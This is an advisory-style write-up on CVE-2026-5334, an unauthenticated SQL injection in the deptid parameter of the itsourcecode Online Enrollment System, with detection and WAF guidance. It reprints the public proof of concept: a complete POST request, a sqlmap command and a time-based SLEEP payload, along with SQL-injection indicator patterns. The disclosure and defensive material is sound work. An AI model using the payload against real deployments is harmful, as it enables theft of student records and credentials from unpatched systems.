Quick Look: CVE-2026-5334 SQL Injection in itsourcecode Online Enrollment System with Public PoC and Detection Guidance

Introduction

CVE-2026-5334 is an unauthenticated SQL injection in the itsourcecode Online Enrollment System. A remote attacker can extract database contents through the enrollment edit function, and the attack is publicly documented and easy to reproduce. A proof of concept is already circulating, and there is no vendor patch, so any organization running this software needs compensating controls now.

Itsourcecode distributes free source code projects and programming tutorials for developers learning PHP, Java, Python, and other languages. The Online Student Enrollment System is one of its free PHP and MySQL projects. It is not a commercial product with enterprise adoption, but open source educational projects like this one often end up deployed in small institutional environments, which is why flaws in them matter to web application security more broadly.

Technical Information

CVE-2026-5334 is a SQL injection caused by the complete absence of input sanitization on the deptid POST parameter in the enrollment module of the Online Enrollment System 1.0. It is classified under both CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) and CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component). The CVSS v3.1 base score is 7.3, which is High severity, with impact across confidentiality, integrity, and availability.

Vulnerable Endpoints and Parameters

The attack uses two HTTP paths that work together. The enrollment edit form is rendered by this URL:

/sms/enrollment/index.php?view=edit&id=3

When the form is submitted, the data is sent via POST to:

/sms/enrollment/controller.php?action=edit

The POST body includes four parameters: deptid, deptname, deptdesc, and save. The deptid value is passed unsanitized into a backend SQL query, which is the injection point. No authentication or session validation is required to reach this endpoint.

Injection Technique

The disclosed attack uses time-based blind SQL injection. The attacker injects a SLEEP() function call into the query, and if the injected SQL runs, the database delays its response by the specified number of seconds. By watching whether the HTTP response is delayed, the attacker can infer boolean conditions about the database contents and extract data one character at a time.

The payload targets MySQL versions 5.0.12 and above:

deptid=3 AND (SELECT 2692 FROM (SELECT(SLEEP(5)))WDuX)&deptname=111&deptdesc=111&save=

This is stealthier than error-based or union-based injection because no data appears in the HTTP response body. It does produce a distinctive pattern of delayed responses, which is detectable through log analysis and database monitoring.

Systemic Codebase Weakness

This is not an isolated flaw. A sibling vulnerability, CVE-2026-4842, affects the same deptid parameter in a different module at /sms/grades/index.php?view=edit&id=1. The same unsafe pattern recurring across multiple endpoints suggests the application has no centralized input validation or query parameterization, so other undisclosed injection points may exist in the codebase.

Proof of Concept

A public proof of concept was disclosed on March 16, 2026, in a GitHub issue by the user yihaofuweng. VulDB confirmed the PoC under advisory VDB-354668.

The PoC is a complete HTTP request that can be saved to a file (for example, 1.txt) and fed directly to sqlmap:

POST /sms/enrollment/controller.php?action=edit HTTP/1.1
Host: 192.168.60.130
Content-Length: 40
Cache-Control: max-age=0
Origin: http://192.168.60.130
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.60.130/sms/enrollment/index.php?view=edit&id=3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=9e304gniduc5qik7l8kks3bs21
Connection: keep-alive

deptid=3&deptname=111&deptdesc=111&save=

Exploitation is then as simple as:

sqlmap -r 1.txt --batch

The confirmed injection parameter and payload:

Parameter: deptid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: deptid=3 AND (SELECT 2692 FROM (SELECT(SLEEP(5)))WDuX)&deptname=111&deptdesc=111&save=

No login or authorization is required to reach the vulnerable endpoint. Once sqlmap confirms the injection, an attacker can enumerate database names and table schemas and extract sensitive data such as student records and credentials stored in the MySQL backend.

Detection Methods

No YARA, Sigma, or Snort rules specific to CVE-2026-5334 have been published at the time of writing. Several public sources do give indicators that defenders can use to detect exploitation attempts.

Web Server Log Monitoring

The most accessible detection point is web server access logs. Time-based blind injection needs many sequential requests to extract data character by character, so automated tooling like sqlmap generates a distinctive burst pattern. Look for:

• Clusters of POST requests to /sms/enrollment/controller.php?action=edit from the same source IP in rapid succession
• Correlation with the Referer header value http://<host>/sms/enrollment/index.php?view=edit&id=3, which appears in the disclosed PoC
• A high-frequency, machine-like cadence of requests that differs from normal human interaction with the enrollment edit form

SQL Injection Payload Indicators in Request Bodies

If your infrastructure supports POST body inspection, through a WAF, reverse proxy, or application logging, alert on these SQL syntax fragments within parameters directed at the enrollment endpoints:

• SLEEP( : the core time delay function used for blind extraction
• SELECT ... FROM (SELECT : nested subquery patterns typical of injection payloads
• Standard SQL injection markers: single quotes ('), comment sequences (--, #), UNION SELECT, OR 1=1, and AND 1=1

WAF Detection Rule

For organizations running ModSecurity or a compatible WAF, the following rule targets the vulnerable parameter. It was documented in analysis of the sibling vulnerability CVE-2026-4842, which exploits the same deptid parameter in the same product:

SecRule ARGS:deptid "@detectSQLi" \
    "id:1001,\
    phase:2,\
    deny,\
    status:403,\
    msg:'SQL Injection attempt detected in deptid parameter',\
    log,\
    auditlog"

This rule fires during phase 2 (request body analysis), which matters because the injection is delivered via POST. The @detectSQLi operator uses ModSecurity's built-in SQL injection detection logic against the deptid argument.

Database Level Detection

Monitoring MySQL query logs gives a deeper detection signal. Look for:

• Queries from the web application's database user that contain unexpected SLEEP() calls, BENCHMARK() functions, or nested SELECT subqueries
• Unusual UNION SELECT statements or queries returning information_schema tables, which indicate database structure enumeration
• Abnormal query execution times: if queries to the enrollment tables suddenly start taking 5 or more seconds (matching the SLEEP(5) in the PoC), that is a strong behavioral indicator of active exploitation

Error Response Correlation

A spike in HTTP 500 errors, SQL syntax errors, or ORM exceptions returned from /sms/enrollment/controller.php from the same source IP is a reliable early warning that someone is probing for the vulnerability. Correlating web server error responses with the access patterns above strengthens detection confidence.

MITRE ATT&CK Mapping

VulDB's CTI analysis maps this vulnerability to MITRE ATT&CK technique T1505 (Server Software Component) with CAPEC-108 (Command Line Injection). The file path /enrollment/index.php?view=edit&id=3 is listed as a verified Indicator of Attack at high confidence.

Affected Systems and Versions

• Product: itsourcecode Online Enrollment System
• Version: 1.0 (the only known version; no updates have been recorded on the project page)
• Technology stack: PHP and MySQL
• Vulnerable component: Parameter Handler in the enrollment edit module
• Vulnerable endpoints: /sms/enrollment/index.php?view=edit&id=3 (form rendering) and /sms/enrollment/controller.php?action=edit (form processing)
• Vulnerable parameter: deptid (POST)

Vendor Security History

The itsourcecode Online Enrollment System has multiple SQL injection vulnerabilities documented in its codebase. Besides CVE-2026-5334, the sibling vulnerability CVE-2026-4842 affects the same deptid parameter in the grades module at /sms/grades/index.php?view=edit&id=1. The same vulnerability pattern recurring across different modules points to a systemic lack of secure coding practices across the application. The project page on itsourcecode.com shows zero updates, and the platform does not maintain a security advisory or disclosure process.

References

• CVE-2026-5334 Detail, National Vulnerability Database
• VulDB Advisory VDB-354668: itsourcecode Online Enrollment System Parameter index.php SQL Injection
• VulDB CTI Analysis for CVE-2026-5334
• VulDB Submission #781119
• GitHub PoC: itsourcecode Online Enrollment System V1.0 SQL Injection (yuji0903/silver-guide issue #15)
• RedPacket Security Advisory: CVE-2026-5334
• SentinelOne Vulnerability Database: CVE-2026-4842 (sibling vulnerability)
• Tenable CVE-2026-5334
• Tenable CVE-2026-4842
• Feedly CVE-2026-5334 Tracking
• itsourcecode.com
• itsourcecode Online Student Enrollment System Project Page